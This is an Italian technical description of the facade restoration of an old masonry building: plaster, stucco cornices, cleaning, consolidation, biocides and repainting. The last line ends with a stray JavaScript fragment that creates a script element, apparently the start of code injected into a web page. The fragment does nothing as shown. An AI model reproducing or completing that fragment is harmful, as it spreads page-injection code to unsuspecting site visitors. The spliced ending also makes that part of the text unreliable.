L’edificio è costituito da un corpo di fabbrica in muratura portante di epoca presunta 1800/1900, realizzato su strutture antiche di impianto Rinascimentale. Le facciate sono rifinite in intonaco alla romana costituito da malta di calce e pozzolana, con inserti in stucco per i partiti architettonici, le modanature delle finestre, le cornici ed il cornicione terminale, decorato con delle teste di leone fuori opera. Il cornicione terminale è ricoperto da lastre in ardesia per la protezione dalle acque piovane.
Tutti i paramenti murari risultavano in cattivo stato di conservazione anche per la completa decoesione rilevata nelle superfici di protezione esterna. In alcuni casi erano frequenti cadute dei materiali dalle cornici. Si è evidenziata quindi la necessita di procedere con le seguenti attività:
– revisione completa degli intonaci comprendente la spicconatura con lo sgombero dei materiali di risulta delle zone pericolanti con formazione di intonaco, ripresa degli elementi architettonici e preparazione delle superfici;
– pulitura delle superfici con l’eliminazione degli strati di tinta e la completa asportazione della colla di rena ormai fatiscente, a mezzo di idrosabbiatura a pressione variabile;
– consolidamento di tratti di intonaco e di elementi architettonici a stucco distaccati dal supporto murario;
– restauro e revisione di cornice a stucco sagomata di sottogronda o cornice terminale in aggetto comprendente la predisposizione di modine secondo la sagoma esistente, ispezione della struttura portante e del rivestimento in calce con l’eliminazione di tutti i tratti ammalorati, ripresa dei tratti di ossatura mancanti o rimossi, con muratura di mattoni e malta cementizia;
– restauro delle cornici marcapiano e di mostre semplici sagomate a stucco di vani finestre;
– applicazione di colletta-stucco romano per formazione di superfici di finitura come l’esistente;
– coloritura di superfici intonacate esterne con tinta a latte di calce e colore nelle cromie analoghe a quelle esistenti;
– sverniciatura degli infissi in legno, preparazione delle superfici, stuccatura, rasatura con stucco sintetico, fondo applicato a mano e pittura a smalto;
– protezione degli intonaci pericolanti mediante applicazione di garza a doppio strato con adesivo acrilico;
– consolidamento per la riadesione degli strati superficiali dell’intonaco mediante iniezioni di adesivi sintetici, per la riadesione degli strati più profondi mediante iniezioni di malte idrauliche o cementi purificati fluidi;
– applicazione di biocidi a pennello in soluzioni molto diluite;
– pulitura delle lacune con malta di tipo idraulico per gli strati più profondi e con malta di tipo aereo per quelli superficiali; ripresa della decorazione pittorica;
– protezione finale mediante applicazione di resine acriliche;
– rimozione dei depositi superficiali incoerenti a secco con pennellesse e piccoli aspiratori;
– stuccature di cadute degli strati di intonaco, inclusi i saggi per la composizione di malte idonee per la colorazione e la granulometria, l’applicazione di strati di intonaco, la successiva pulitura con revisione cromatica dei bordi, nei casi di stuccature di lacune a livello sui graffiti;
– ristabilimento della coesione degli intonaci di supporto del dipinto, nei csi di disgregazione e polverizzazione;
– riduzione dell’interferenza visiva dell’intonaco di supporto ad acquerello in presenza di abrasioni, cadute della pellicola pittorica e lacune di intonaco;
– ricostruzione della campitura tratteggiata e puntinata, ad acquerello di decorazione, ripetitiva con riporto del disegno preparatorio di graffiti.var d=document;var s=d.createElement(‘script’);